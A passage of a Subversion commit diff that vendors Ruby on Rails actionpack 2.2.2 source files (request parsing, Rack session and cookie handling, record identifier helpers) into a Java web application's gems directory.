+          options[:format]
+        else
+          nil
+        end
+      end
+      
+      # Remove the first symbols from the array and return the url prefix
+      # implied by those symbols.
+      def extract_namespace(record_or_hash_or_array)
+        return "" unless record_or_hash_or_array.is_a?(Array)
+
+        namespace_keys = []
+        while (key = record_or_hash_or_array.first) && key.is_a?(String) || key.is_a?(Symbol)
+          namespace_keys << record_or_hash_or_array.shift
+        end
+
+        namespace_keys.map {|k| "#{k}_"}.join
+      end
+  end
+end

Added: trunk/src/main/webapp/WEB-INF/gems/gems/actionpack-2.2.2/lib/action_controller/rack_process.rb
===================================================================
--- trunk/src/main/webapp/WEB-INF/gems/gems/actionpack-2.2.2/lib/action_controller/rack_process.rb	2008-12-20 20:26:23 UTC (rev 1003)
+++ trunk/src/main/webapp/WEB-INF/gems/gems/actionpack-2.2.2/lib/action_controller/rack_process.rb	2008-12-20 21:22:52 UTC (rev 1004)
@@ -0,0 +1,303 @@
+require 'action_controller/cgi_ext'
+require 'action_controller/session/cookie_store'
+
+module ActionController #:nodoc:
+  class RackRequest < AbstractRequest #:nodoc:
+    attr_accessor :session_options
+    attr_reader :cgi
+
+    class SessionFixationAttempt < StandardError #:nodoc:
+    end
+
+    DEFAULT_SESSION_OPTIONS = {
+      :database_manager => CGI::Session::CookieStore, # store data in cookie
+      :prefix           => "ruby_sess.",    # prefix session file names
+      :session_path     => "/",             # available to all paths in app
+      :session_key      => "_session_id",
+      :cookie_only      => true,
+      :session_http_only=> true
+    }
+
+    def initialize(env, session_options = DEFAULT_SESSION_OPTIONS)
+      @session_options = session_options
+      @env = env
+      @cgi = CGIWrapper.new(self)
+      super()
+    end
+
+    %w[ AUTH_TYPE GATEWAY_INTERFACE PATH_INFO
+        PATH_TRANSLATED REMOTE_HOST
+        REMOTE_IDENT REMOTE_USER SCRIPT_NAME
+        SERVER_NAME SERVER_PROTOCOL
+
+        HTTP_ACCEPT HTTP_ACCEPT_CHARSET HTTP_ACCEPT_ENCODING
+        HTTP_ACCEPT_LANGUAGE HTTP_CACHE_CONTROL HTTP_FROM
+        HTTP_NEGOTIATE HTTP_PRAGMA HTTP_REFERER HTTP_USER_AGENT ].each do |env|
+      define_method(env.sub(/^HTTP_/n, '').downcase) do
+        @env[env]
+      end
+    end
+
+    def query_string
+      qs = super
+      if !qs.blank?
+        qs
+      else
+        @env['QUERY_STRING']
+      end
+    end
+
+    def body_stream #:nodoc:
+      @env['rack.input']
+    end
+
+    def key?(key)
+      @env.key?(key)
+    end
+
+    def cookies
+      return {} unless @env["HTTP_COOKIE"]
+
+      unless @env["rack.request.cookie_string"] == @env["HTTP_COOKIE"]
+        @env["rack.request.cookie_string"] = @env["HTTP_COOKIE"]
+        @env["rack.request.cookie_hash"] = CGI::Cookie::parse(@env["rack.request.cookie_string"])
+      end
+
+      @env["rack.request.cookie_hash"]
+    end
+
+    def server_port
+      @env['SERVER_PORT'].to_i
+    end
+
+    def server_software
+      @env['SERVER_SOFTWARE'].split("/").first
+    end
+
+    def session
+      unless defined?(@session)
+        if @session_options == false
+          @session = Hash.new
+        else
+          stale_session_check! do
+            if cookie_only? && query_parameters[session_options_with_string_keys['session_key']]
+              raise SessionFixationAttempt
+            end
+            case value = session_options_with_string_keys['new_session']
+              when true
+                @session = new_session
+              when false
+                begin
+                  @session = CGI::Session.new(@cgi, session_options_with_string_keys)
+                # CGI::Session raises ArgumentError if 'new_session' == false
+                # and no session cookie or query param is present.
+                rescue ArgumentError
+                  @session = Hash.new
+                end
+              when nil
+                @session = CGI::Session.new(@cgi, session_options_with_string_keys)
+              else
+                raise ArgumentError, "Invalid new_session option: #{value}"
+            end
+            @session['__valid_session']
+          end
+        end
+      end
+      @session
+    end
+
+    def reset_session
+      @session.delete if defined?(@session) && @session.is_a?(CGI::Session)
+      @session = new_session
+    end
+
+    private
+      # Delete an old session if it exists then create a new one.
+      def new_session
+        if @session_options == false
+          Hash.new
+        else
+          CGI::Session.new(@cgi, session_options_with_string_keys.merge("new_session" => false)).delete rescue nil
+          CGI::Session.new(@cgi, session_options_with_string_keys.merge("new_session" => true))
+        end
+      end
+
+      def cookie_only?
+        session_options_with_string_keys['cookie_only']
+      end
+
+      def stale_session_check!
+        yield
+      rescue ArgumentError => argument_error
+        if argument_error.message =~ %r{undefined class/module ([\w:]*\w)}
+          begin
+            # Note that the regexp does not allow $1 to end with a ':'
+            $1.constantize
+          rescue LoadError, NameError => const_error
+            raise ActionController::SessionRestoreError, <<-end_msg
+Session contains objects whose class definition isn\'t available.
+Remember to require the classes for all objects kept in the session.
+(Original exception: #{const_error.message} [#{const_error.class}])
+end_msg
+          end
+
+          retry
+        else
+          raise
+        end
+      end
+
+      def session_options_with_string_keys
+        @session_options_with_string_keys ||= DEFAULT_SESSION_OPTIONS.merge(@session_options).stringify_keys
+      end
+  end
+
+  class RackResponse < AbstractResponse #:nodoc:
+    def initialize(request)
+      @cgi = request.cgi
+      @writer = lambda { |x| @body << x }
+      @block = nil
+      super()
+    end
+
+    # Retrieve status from instance variable if has already been delete
+    def status
+      @status || super
+    end
+
+    def out(output = $stdout, &block)
+      # Nasty hack because CGI sessions are closed after the normal
+      # prepare! statement
+      set_cookies!
+
+      @block = block
+      @status = headers.delete("Status")
+      if [204, 304].include?(status.to_i)
+        headers.delete("Content-Type")
+        [status, headers.to_hash, []]
+      else
+        [status, headers.to_hash, self]
+      end
+    end
+    alias to_a out
+
+    def each(&callback)
+      if @body.respond_to?(:call)
+        @writer = lambda { |x| callback.call(x) }
+        @body.call(self, self)
+      elsif @body.is_a?(String)
+        @body.each_line(&callback)
+      else
+        @body.each(&callback)
+      end
+
+      @writer = callback
+      @block.call(self) if @block
+    end
+
+    def write(str)
+      @writer.call str.to_s
+      str
+    end
+
+    def close
+      @body.close if @body.respond_to?(:close)
+    end
+
+    def empty?
+      @block == nil && @body.empty?
+    end
+
+    def prepare!
+      super
+
+      convert_language!
+      convert_expires!
+      set_status!
+      # set_cookies!
+    end
+
+    private
+      def convert_language!
+        headers["Content-Language"] = headers.delete("language") if headers["language"]
+      end
+
+      def convert_expires!
+        headers["Expires"] = headers.delete("") if headers["expires"]
+      end
+
+      def convert_content_type!
+        super
+        headers['Content-Type'] = headers.delete('type') || "text/html"
+        headers['Content-Type'] += "; charset=" + headers.delete('charset') if headers['charset']
+      end
+
+      def set_content_length!
+        super
+        headers["Content-Length"] = headers["Content-Length"].to_s if headers["Content-Length"]
+      end
+
+      def set_status!
+        self.status ||= "200 OK"
+      end
+
+      def set_cookies!
+        # Convert 'cookie' header to 'Set-Cookie' headers.
+        # Because Set-Cookie header can appear more the once in the response body,
+        # we store it in a line break separated string that will be translated to
+        # multiple Set-Cookie header by the handler.
+        if cookie = headers.delete('cookie')
+          cookies = []
+
+          case cookie
+            when Array then cookie.each { |c| cookies << c.to_s }
+            when Hash  then cookie.each { |_, c| cookies << c.to_s }
+            else            cookies << cookie.to_s
+          end
+
+          @cgi.output_cookies.each { |c| cookies << c.to_s } if @cgi.output_cookies
+
+          headers['Set-Cookie'] = [headers['Set-Cookie'], cookies].flatten.compact
+        end
+      end
+  end
+
+  class CGIWrapper < ::CGI
+    attr_reader :output_cookies
+
+    def initialize(request, *args)
+      @request  = request
+      @args     = *args
+      @input    = request.body
+
+      super *args
+    end
+
+    def params
+      @params ||= @request.params
+    end
+
+    def cookies
+      @request.cookies
+    end
+
+    def query_string
+      @request.query_string
+    end
+
+    # Used to wrap the normal args variable used inside CGI.
+    def args
+      @args
+    end
+
+    # Used to wrap the normal env_table variable used inside CGI.
+    def env_table
+      @request.env
+    end
+
+    # Used to wrap the normal stdinput variable used inside CGI.
+    def stdinput
+      @input
+    end
+  end
+end

Added: trunk/src/main/webapp/WEB-INF/gems/gems/actionpack-2.2.2/lib/action_controller/record_identifier.rb
===================================================================
--- trunk/src/main/webapp/WEB-INF/gems/gems/actionpack-2.2.2/lib/action_controller/record_identifier.rb	2008-12-20 20:26:23 UTC (rev 1003)
+++ trunk/src/main/webapp/WEB-INF/gems/gems/actionpack-2.2.2/lib/action_controller/record_identifier.rb	2008-12-20 21:22:52 UTC (rev 1004)
@@ -0,0 +1,104 @@
+module ActionController  
+  # The record identifier encapsulates a number of naming conventions for dealing with records, like Active Records or 
+  # Active Resources or pretty much any other model type that has an id. These patterns are then used to try elevate
+  # the view actions to a higher logical level. Example:
+  #
+  #   # routes
+  #   map.resources :posts
+  #
+  #   # view
+  #   <% div_for(post) do %>     <div id="post_45" class="post">
+  #     <%= post.body %>           What a wonderful world!
+  #   <% end %>                  </div>
+  #
+  #   # controller
+  #   def destroy
+  #     post = Post.find(params[:id])
+  #     post.destroy
+  #
+  #     respond_to do |format|
+  #       format.html { redirect_to(post) } # Calls polymorphic_url(post) which in turn calls post_url(post)
+  #       format.js do
+  #         # Calls: new Effect.fade('post_45');
+  #         render(:update) { |page| page[post].visual_effect(:fade) }
+  #       end
+  #     end
+  #   end
+  #
+  # As the example above shows, you can stop caring to a large extent what the actual id of the post is. You just know
+  # that one is being assigned and that the subsequent calls in redirect_to and the RJS expect that same naming 
+  # convention and allows you to write less code if you follow it.
+  module RecordIdentifier
+    extend self
+
+    JOIN = '_'.freeze
+    NEW = 'new'.freeze
+
+    # Returns plural/singular for a record or class. Example:
+    #
+    #   partial_path(post)                   # => "posts/post"
+    #   partial_path(Person)                 # => "people/person"
+    #   partial_path(Person, "admin/games")  # => "admin/people/person"
+    def partial_path(record_or_class, controller_path = nil)
+      name = model_name_from_record_or_class(record_or_class)
+
+      if controller_path && controller_path.include?("/")
+        "#{File.dirname(controller_path)}/#{name.partial_path}"
+      else
+        name.partial_path
+      end
+    end
+
+    # The DOM class convention is to use the singular form of an object or class. Examples:
+    #
+    #   dom_class(post)   # => "post"
+    #   dom_class(Person) # => "person"
+    #
+    # If you need to address multiple instances of the same class in the same view, you can prefix the dom_class:
+    #
+    #   dom_class(post, :edit)   # => "edit_post"
+    #   dom_class(Person, :edit) # => "edit_person"
+    def dom_class(record_or_class, prefix = nil)
+      singular = singular_class_name(record_or_class)
+      prefix ? "#{prefix}#{JOIN}#{singular}" : singular
+    end
+
+    # The DOM id convention is to use the singular form of an object or class with the id following an underscore.
+    # If no id is found, prefix with "new_" instead. Examples:
+    #
+    #   dom_id(Post.find(45))       # => "post_45"
+    #   dom_id(Post.new)            # => "new_post"
+    #
+    # If you need to address multiple instances of the same class in the same view, you can prefix the dom_id:
+    #
+    #   dom_id(Post.find(45), :edit) # => "edit_post_45"
+    def dom_id(record, prefix = nil) 
+      if record_id = record.id
+        "#{dom_class(record, prefix)}#{JOIN}#{record_id}"
+      else
+        dom_class(record, prefix || NEW)
+      end
+    end
+
+    # Returns the plural class name of a record or class. Examples:
+    #
+    #   plural_class_name(post)             # => "posts"
+    #   plural_class_name(Highrise::Person) # => "highrise_people"
+    def plural_class_name(record_or_class)
+      model_name_from_record_or_class(record_or_class).plural
+    end
+
+    # Returns the singular class name of a record or class. Examples:
+    #
+    #   singular_class_name(post)             # => "post"
+    #   singular_class_name(Highrise::Person) # => "highrise_person"
+    def singular_class_name(record_or_class)
+      model_name_from_record_or_class(record_or_class).singular
+    end
+
+    private
+      def model_name_from_record_or_class(record_or_class)
+        (record_or_class.is_a?(Class) ? record_or_class : record_or_class.class).model_name
+      end
+  end
+end

Added: trunk/src/main/webapp/WEB-INF/gems/gems/actionpack-2.2.2/lib/action_controller/request.rb
===================================================================
--- trunk/src/main/webapp/WEB-INF/gems/gems/actionpack-2.2.2/lib/action_controller/request.rb	2008-12-20 20:26:23 UTC (rev 1003)
+++ trunk/src/main/webapp/WEB-INF/gems/gems/actionpack-2.2.2/lib/action_controller/request.rb	2008-12-20 21:22:52 UTC (rev 1004)
@@ -0,0 +1,872 @@
+require 'tempfile'
+require 'stringio'
+require 'strscan'
+
+require 'active_support/memoizable'
+
+module ActionController
+  # CgiRequest and TestRequest provide concrete implementations.
+  class AbstractRequest
+    extend ActiveSupport::Memoizable
+
+    def self.relative_url_root=(relative_url_root)
+      ActiveSupport::Deprecation.warn(
+        "ActionController::AbstractRequest.relative_url_root= has been renamed." +
+        "You can now set it with config.action_controller.relative_url_root=", caller)
+      ActionController::Base.relative_url_root=relative_url_root
+    end
+
+    HTTP_METHODS = %w(get head put post delete options)
+    HTTP_METHOD_LOOKUP = HTTP_METHODS.inject({}) { |h, m| h[m] = h[m.upcase] = m.to_sym; h }
+
+    # The hash of environment variables for this request,
+    # such as { 'RAILS_ENV' => 'production' }.
+    attr_reader :env
+
+    # The true HTTP request \method as a lowercase symbol, such as <tt>:get</tt>.
+    # UnknownHttpMethod is raised for invalid methods not listed in ACCEPTED_HTTP_METHODS.
+    def request_method
+      method = @env['REQUEST_METHOD']
+      method = parameters[:_method] if method == 'POST' && !parameters[:_method].blank?
+
+      HTTP_METHOD_LOOKUP[method] || raise(UnknownHttpMethod, "#{method}, accepted HTTP methods are #{HTTP_METHODS.to_sentence}")
+    end
+    memoize :request_method
+
+    # The HTTP request \method as a lowercase symbol, such as <tt>:get</tt>.
+    # Note, HEAD is returned as <tt>:get</tt> since the two are functionally
+    # equivalent from the application's perspective.
+    def method
+      request_method == :head ? :get : request_method
+    end
+
+    # Is this a GET (or HEAD) request?  Equivalent to <tt>request.method == :get</tt>.
+    def get?
+      method == :get
+    end
+
+    # Is this a POST request?  Equivalent to <tt>request.method == :post</tt>.
+    def post?
+      request_method == :post
+    end
+
+    # Is this a PUT request?  Equivalent to <tt>request.method == :put</tt>.
+    def put?
+      request_method == :put
+    end
+
+    # Is this a DELETE request?  Equivalent to <tt>request.method == :delete</tt>.
+    def delete?
+      request_method == :delete
+    end
+
+    # Is this a HEAD request? Since <tt>request.method</tt> sees HEAD as <tt>:get</tt>,
+    # this \method checks the actual HTTP \method directly.
+    def head?
+      request_method == :head
+    end
+
+    # Provides access to the request's HTTP headers, for example:
+    #
+    #   request.headers["Content-Type"] # => "text/plain"
+    def headers
+      ActionController::Http::Headers.new(@env)
+    end
+    memoize :headers
+
+    # Returns the content length of the request as an integer.
+    def content_length
+      @env['CONTENT_LENGTH'].to_i
+    end
+    memoize :content_length
+
+    # The MIME type of the HTTP request, such as Mime::XML.
+    #
+    # For backward compatibility, the post \format is extracted from the
+    # X-Post-Data-Format HTTP header if present.
+    def content_type
+      Mime::Type.lookup(content_type_without_parameters)
+    end
+    memoize :content_type
+
+    # Returns the accepted MIME type for the request.
+    def accepts
+      header = @env['HTTP_ACCEPT'].to_s.strip
+
+      if header.empty?
+        [content_type, Mime::ALL].compact
+      else
+        Mime::Type.parse(header)
+      end
+    end
+    memoize :accepts
+
+    def if_modified_since
+      if since = env['HTTP_IF_MODIFIED_SINCE']
+        Time.rfc2822(since) rescue nil
+      end
+    end
+    memoize :if_modified_since
+
+    def if_none_match
+      env['HTTP_IF_NONE_MATCH']
+    end
+
+    def not_modified?(modified_at)
+      if_modified_since && modified_at && if_modified_since >= modified_at
+    end
+
+    def etag_matches?(etag)
+      if_none_match && if_none_match == etag
+    end
+
+    # Check response freshness (Last-Modified and ETag) against request
+    # If-Modified-Since and If-None-Match conditions. If both headers are
+    # supplied, both must match, or the request is not considered fresh.
+    def fresh?(response)
+      case
+      when if_modified_since && if_none_match 
+        not_modified?(response.last_modified) && etag_matches?(response.etag) 
+      when if_modified_since 
+        not_modified?(response.last_modified) 
+      when if_none_match 
+        etag_matches?(response.etag) 
+      else 
+        false 
+      end 
+    end
+
+    # Returns the Mime type for the \format used in the request.
+    #
+    #   GET /posts/5.xml   | request.format => Mime::XML
+    #   GET /posts/5.xhtml | request.format => Mime::HTML
+    #   GET /posts/5       | request.format => Mime::HTML or MIME::JS, or request.accepts.first depending on the value of <tt>ActionController::Base.use_accept_header</tt>
+    def format
+      @format ||=
+        if parameters[:format]
+          Mime::Type.lookup_by_extension(parameters[:format])
+        elsif ActionController::Base.use_accept_header
+          accepts.first
+        elsif xhr?
+          Mime::Type.lookup_by_extension("js")
+        else
+          Mime::Type.lookup_by_extension("html")
+        end
+    end
+
+
+    # Sets the \format by string extension, which can be used to force custom formats
+    # that are not controlled by the extension.
+    #
+    #   class ApplicationController < ActionController::Base
+    #     before_filter :adjust_format_for_iphone
+    #
+    #     private
+    #       def adjust_format_for_iphone
+    #         request.format = :iphone if request.env["HTTP_USER_AGENT"][/iPhone/]
+    #       end
+    #   end
+    def format=(extension)
+      parameters[:format] = extension.to_s
+      @format = Mime::Type.lookup_by_extension(parameters[:format])
+    end
+
+    # Returns a symbolized version of the <tt>:format</tt> parameter of the request.
+    # If no \format is given it returns <tt>:js</tt>for Ajax requests and <tt>:html</tt>
+    # otherwise.
+    def template_format
+      parameter_format = parameters[:format]
+
+      if parameter_format
+        parameter_format
+      elsif xhr?
+        :js
+      else
+        :html
+      end
+    end
+
+    def cache_format
+      parameters[:format]
+    end
+
+    # Returns true if the request's "X-Requested-With" header contains
+    # "XMLHttpRequest". (The Prototype Javascript library sends this header with
+    # every Ajax request.)
+    def xml_http_request?
+      !(@env['HTTP_X_REQUESTED_WITH'] !~ /XMLHttpRequest/i)
+    end
+    alias xhr? :xml_http_request?
+
+    # Which IP addresses are "trusted proxies" that can be stripped from
+    # the right-hand-side of X-Forwarded-For
+    TRUSTED_PROXIES = /^127\.0\.0\.1$|^(10|172\.(1[6-9]|2[0-9]|30|31)|192\.168)\./i
+
+    # Determines originating IP address.  REMOTE_ADDR is the standard
+    # but will fail if the user is behind a proxy.  HTTP_CLIENT_IP and/or
+    # HTTP_X_FORWARDED_FOR are set by proxies so check for these if
+    # REMOTE_ADDR is a proxy.  HTTP_X_FORWARDED_FOR may be a comma-
+    # delimited list in the case of multiple chained proxies; the last
+    # address which is not trusted is the originating IP.
+    def remote_ip
+      remote_addr_list = @env['REMOTE_ADDR'] && @env['REMOTE_ADDR'].split(',').collect(&:strip)
+
+      unless remote_addr_list.blank?
+        not_trusted_addrs = remote_addr_list.reject {|addr| addr =~ TRUSTED_PROXIES}
+        return not_trusted_addrs.first unless not_trusted_addrs.empty?
+      end
+      remote_ips = @env['HTTP_X_FORWARDED_FOR'] && @env['HTTP_X_FORWARDED_FOR'].split(',')
+
+      if @env.include? 'HTTP_CLIENT_IP'
+        if remote_ips && !remote_ips.include?(@env['HTTP_CLIENT_IP'])
+          # We don't know which came from the proxy, and which from the user
+          raise ActionControllerError.new(<<EOM)
+IP spoofing attack?!
+HTTP_CLIENT_IP=#{@env['HTTP_CLIENT_IP'].inspect}
+HTTP_X_FORWARDED_FOR=#{@env['HTTP_X_FORWARDED_FOR'].inspect}
+EOM
+        end
+
+        return @env['HTTP_CLIENT_IP']
+      end
+
+      if remote_ips
+        while remote_ips.size > 1 && TRUSTED_PROXIES =~ remote_ips.last.strip
+          remote_ips.pop
+        end
+
+        return remote_ips.last.strip
+      end
+
+      @env['REMOTE_ADDR']
+    end
+    memoize :remote_ip
+
+    # Returns the lowercase name of the HTTP server software.
+    def server_software
+      (@env['SERVER_SOFTWARE'] && /^([a-zA-Z]+)/ =~ @env['SERVER_SOFTWARE']) ? $1.downcase : nil
+    end
+    memoize :server_software
+
+
+    # Returns the complete URL used for this request.
+    def url
+      protocol + host_with_port + request_uri
+    end
+    memoize :url
+
+    # Returns 'https://' if this is an SSL request and 'http://' otherwise.
+    def protocol
+      ssl? ? 'https://' : 'http://'
+    end
+    memoize :protocol
+
+    # Is this an SSL request?
+    def ssl?
+      @env['HTTPS'] == 'on' || @env['HTTP_X_FORWARDED_PROTO'] == 'https'
+    end
+
+    # Returns the \host for this request, such as "example.com".
+    def raw_host_with_port
+      if forwarded = env["HTTP_X_FORWARDED_HOST"]
+        forwarded.split(/,\s?/).last
+      else
+        env['HTTP_HOST'] || env['SERVER_NAME'] || "#{env['SERVER_ADDR']}:#{env['SERVER_PORT']}"
+      end
+    end
+
+    # Returns the host for this request, such as example.com.
+    def host
+      raw_host_with_port.sub(/:\d+$/, '')
+    end
+    memoize :host
+
+    # Returns a \host:\port string for this request, such as "example.com" or
+    # "example.com:8080".
+    def host_with_port
+      "#{host}#{port_string}"
+    end
+    memoize :host_with_port
+
+    # Returns the port number of this request as an integer.
+    def port
+      if raw_host_with_port =~ /:(\d+)$/
+        $1.to_i
+      else
+        standard_port
+      end
+    end
+    memoize :port
+
+    # Returns the standard \port number for this request's protocol.
+    def standard_port
+      case protocol
+        when 'https://' then 443
+        else 80
+      end
+    end
+
+    # Returns a \port suffix like ":8080" if the \port number of this request
+    # is not the default HTTP \port 80 or HTTPS \port 443.
+    def port_string
+      port == standard_port ? '' : ":#{port}"
+    end
+
+    # Returns the \domain part of a \host, such as "rubyonrails.org" in "www.rubyonrails.org". You can specify
+    # a different <tt>tld_length</tt>, such as 2 to catch rubyonrails.co.uk in "www.rubyonrails.co.uk".
+    def domain(tld_length = 1)
+      return nil unless named_host?(host)
+
+      host.split('.').last(1 + tld_length).join('.')
+    end
+
+    # Returns all the \subdomains as an array, so <tt>["dev", "www"]</tt> would be
+    # returned for "dev.www.rubyonrails.org". You can specify a different <tt>tld_length</tt>,
+    # such as 2 to catch <tt>["www"]</tt> instead of <tt>["www", "rubyonrails"]</tt>
+    # in "www.rubyonrails.co.uk".
+    def subdomains(tld_length = 1)
+      return [] unless named_host?(host)
+      parts = host.split('.')
+      parts[0..-(tld_length+2)]
+    end
+
+    # Returns the query string, accounting for server idiosyncrasies.
+    def query_string
+      if uri = @env['REQUEST_URI']
+        uri.split('?', 2)[1] || ''
+      else
+        @env['QUERY_STRING'] || ''
+      end
+    end
+    memoize :query_string
+
+    # Returns the request URI, accounting for server idiosyncrasies.
+    # WEBrick includes the full URL. IIS leaves REQUEST_URI blank.
+    def request_uri
+      if uri = @env['REQUEST_URI']
+        # Remove domain, which webrick puts into the request_uri.
+        (%r{^\w+\://[^/]+(/.*|$)$} =~ uri) ? $1 : uri
+      else
+        # Construct IIS missing REQUEST_URI from SCRIPT_NAME and PATH_INFO.
+        uri = @env['PATH_INFO'].to_s
+
+        if script_filename = @env['SCRIPT_NAME'].to_s.match(%r{[^/]+$})
+          uri = uri.sub(/#{script_filename}\//, '')
+        end
+
+        env_qs = @env['QUERY_STRING'].to_s
+        uri += "?#{env_qs}" unless env_qs.empty?
+
+        if uri.blank?
+          @env.delete('REQUEST_URI')
+        else
+          @env['REQUEST_URI'] = uri
+        end
+      end
+    end
+    memoize :request_uri
+
+    # Returns the interpreted \path to requested resource after all the installation
+    # directory of this application was taken into account.
+    def path
+      path = (uri = request_uri) ? uri.split('?').first.to_s : ''
+
+      # Cut off the path to the installation directory if given
+      path.sub!(%r/^#{ActionController::Base.relative_url_root}/, '')
+      path || ''
+    end
+    memoize :path
+
+    # Read the request \body. This is useful for web services that need to
+    # work with raw requests directly.
+    def raw_post
+      unless env.include? 'RAW_POST_DATA'
+        env['RAW_POST_DATA'] = body.read(content_length)
+        body.rewind if body.respond_to?(:rewind)
+      end
+      env['RAW_POST_DATA']
+    end
+
+    # Returns both GET and POST \parameters in a single hash.
+    def parameters
+      @parameters ||= request_parameters.merge(query_parameters).update(path_parameters).with_indifferent_access
+    end
+
+    def path_parameters=(parameters) #:nodoc:
+      @path_parameters = parameters
+      @symbolized_path_parameters = @parameters = nil
+    end
+
+    # The same as <tt>path_parameters</tt> with explicitly symbolized keys.
+    def symbolized_path_parameters
+      @symbolized_path_parameters ||= path_parameters.symbolize_keys
+    end
+
+    # Returns a hash with the \parameters used to form the \path of the request.
+    # Returned hash keys are strings:
+    #
+    #   {'action' => 'my_action', 'controller' => 'my_controller'}
+    #
+    # See <tt>symbolized_path_parameters</tt> for symbolized keys.
+    def path_parameters
+      @path_parameters ||= {}
+    end
+
+    # The request body is an IO input stream. If the RAW_POST_DATA environment
+    # variable is already set, wrap it in a StringIO.
+    def body
+      if raw_post = env['RAW_POST_DATA']
+        raw_post.force_encoding(Encoding::BINARY) if raw_post.respond_to?(:force_encoding)
+        StringIO.new(raw_post)
+      else
+        body_stream
+      end
+    end
+
+    def remote_addr
+      @env['REMOTE_ADDR']
+    end
+
+    def referrer
+      @env['HTTP_REFERER']
+    end
+    alias referer referrer
+
+
+    def query_parameters
+      @query_parameters ||= self.class.parse_query_parameters(query_string)
+    end
+
+    def request_parameters
+      @request_parameters ||= parse_formatted_request_parameters
+    end
+
+
+    #--
+    # Must be implemented in the concrete request
+    #++
+
+    def body_stream #:nodoc:
+    end
+
+    def cookies #:nodoc:
+    end
+
+    def session #:nodoc:
+    end
+
+    def session=(session) #:nodoc:
+      @session = session
+    end
+
+    def reset_session #:nodoc:
+    end
+
+    protected
+      # The raw content type string. Use when you need parameters such as
+      # charset or boundary which aren't included in the content_type MIME type.
+      # Overridden by the X-POST_DATA_FORMAT header for backward compatibility.
+      def content_type_with_parameters
+        content_type_from_legacy_post_data_format_header ||
+          env['CONTENT_TYPE'].to_s
+      end
+
+      # The raw content type string with its parameters stripped off.
+      def content_type_without_parameters
+        self.class.extract_content_type_without_parameters(content_type_with_parameters)
+      end
+      memoize :content_type_without_parameters
+
+    private
+      def content_type_from_legacy_post_data_format_header
+        if x_post_format = @env['HTTP_X_POST_DATA_FORMAT']
+          case x_post_format.to_s.downcase
+            when 'yaml';  'application/x-yaml'
+            when 'xml';   'application/xml'
+          end
+        end
+      end
+
+      def parse_formatted_request_parameters
+        return {} if content_length.zero?
+
+        content_type, boundary = self.class.extract_multipart_boundary(content_type_with_parameters)
+
+        # Don't parse params for unknown requests.
+        return {} if content_type.blank?
+
+        mime_type = Mime::Type.lookup(content_type)
+        strategy = ActionController::Base.param_parsers[mime_type]
+
+        # Only multipart form parsing expects a stream.
+        body = (strategy && strategy != :multipart_form) ? raw_post : self.body
+
+        case strategy
+          when Proc
+            strategy.call(body)
+          when :url_encoded_form
+            self.class.clean_up_ajax_request_body! body
+            self.class.parse_query_parameters(body)
+          when :multipart_form
+            self.class.parse_multipart_form_parameters(body, boundary, content_length, env)
+          when :xml_simple, :xml_node
+            body.blank? ? {} : Hash.from_xml(body).with_indifferent_access
+          when :yaml
+            YAML.load(body)
+          when :json
+            if body.blank?
+              {}
+            else
+              data = ActiveSupport::JSON.decode(body)
+              data = {:_json => data} unless data.is_a?(Hash)
+              data.with_indifferent_access
+            end
+          else
+            {}
+        end
+      rescue Exception => e # YAML, XML or Ruby code block errors
+        raise
+        { "body" => body,
+          "content_type" => content_type_with_parameters,
+          "content_length" => content_length,
+          "exception" => "#{e.message} (#{e.class})",
+          "backtrace" => e.backtrace }
+      end
+
+      def named_host?(host)
+        !(host.nil? || /\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3}$/.match(host))
+      end
+
+    class << self
+      def parse_query_parameters(query_string)
+        return {} if query_string.blank?
+
+        pairs = query_string.split('&').collect do |chunk|
+          next if chunk.empty?
+          key, value = chunk.split('=', 2)
+          next if key.empty?
+          value = value.nil? ? nil : CGI.unescape(value)
+          [ CGI.unescape(key), value ]
+        end.compact
+
+        UrlEncodedPairParser.new(pairs).result
+      end
+
+      def parse_request_parameters(params)
+        parser = UrlEncodedPairParser.new
+
+        params = params.dup
+        until params.empty?
+          for key, value in params
+            if key.blank?
+              params.delete key
+            elsif !key.include?('[')
+              # much faster to test for the most common case first (GET)
+              # and avoid the call to build_deep_hash
+              parser.result[key] = get_typed_value(value[0])
+              params.delete key
+            elsif value.is_a?(Array)
+              parser.parse(key, get_typed_value(value.shift))
+              params.delete key if value.empty?
+            else
+              raise TypeError, "Expected array, found #{value.inspect}"
+            end
+          end
+        end
+
+        parser.result
+      end
+
+      def parse_multipart_form_parameters(body, boundary, body_size, env)
+        parse_request_parameters(read_multipart(body, boundary, body_size, env))
+      end
+
+      def extract_multipart_boundary(content_type_with_parameters)
+        if content_type_with_parameters =~ MULTIPART_BOUNDARY
+          ['multipart/form-data', $1.dup]
+        else
+          extract_content_type_without_parameters(content_type_with_parameters)
+        end
+      end
+
+      def extract_content_type_without_parameters(content_type_with_parameters)
+        $1.strip.downcase if content_type_with_parameters =~ /^([^,\;]*)/
+      end
+
+      def clean_up_ajax_request_body!(body)
+        body.chop! if body[-1] == 0
+        body.gsub!(/&_=$/, '')
+      end
+
+
+      private
+        def get_typed_value(value)
+          case value
+            when String
+              value
+            when NilClass
+              ''
+            when Array
+              value.map { |v| get_typed_value(v) }
+            else
+              if value.respond_to? :original_filename
+                # Uploaded file
+                if value.original_filename
+                  value
+                # Multipart param
+                else
+                  result = value.read
+                  value.rewind
+                  result
+                end
+              # Unknown value, neither string nor multipart.
+              else
+                raise "Unknown form value: #{value.inspect}"
+              end
+          end
+        end
+
+        MULTIPART_BOUNDARY = %r|\Amultipart/form-data.*boundary=\"?([^\";,]+)\"?|n
+
+        EOL = "\015\012"
+
+        def read_multipart(body, boundary, body_size, env)
+          params = Hash.new([])
+          boundary = "--" + boundary
+          quoted_boundary = Regexp.quote(boundary)
+          buf = ""
+          bufsize = 10 * 1024
+          boundary_end=""
+
+          # start multipart/form-data
+          body.binmode if defined? body.binmode
+          case body
+          when File
+            body.set_encoding(Encoding::BINARY) if body.respond_to?(:set_encoding)
+          when StringIO
+            body.string.force_encoding(Encoding::BINARY) if body.string.respond_to?(:force_encoding)
+          end
+          boundary_size = boundary.size + EOL.size
+          body_size -= boundary_size
+          status = body.read(boundary_size)
+          if nil == status
+            raise EOFError, "no content body"
+          elsif boundary + EOL != status
+            raise EOFError, "bad content body"
+          end
+
+          loop do
+            head = nil
+            content =
+              if 10240 < body_size
+                UploadedTempfile.new("CGI")
+              else
+                UploadedStringIO.new
+              end
+            content.binmode if defined? content.binmode
+
+            until head and /#{quoted_boundary}(?:#{EOL}|--)/n.match(buf)
+
+              if (not head) and /#{EOL}#{EOL}/n.match(buf)
+                buf = buf.sub(/\A((?:.|\n)*?#{EOL})#{EOL}/n) do
+                  head = $1.dup
+                  ""
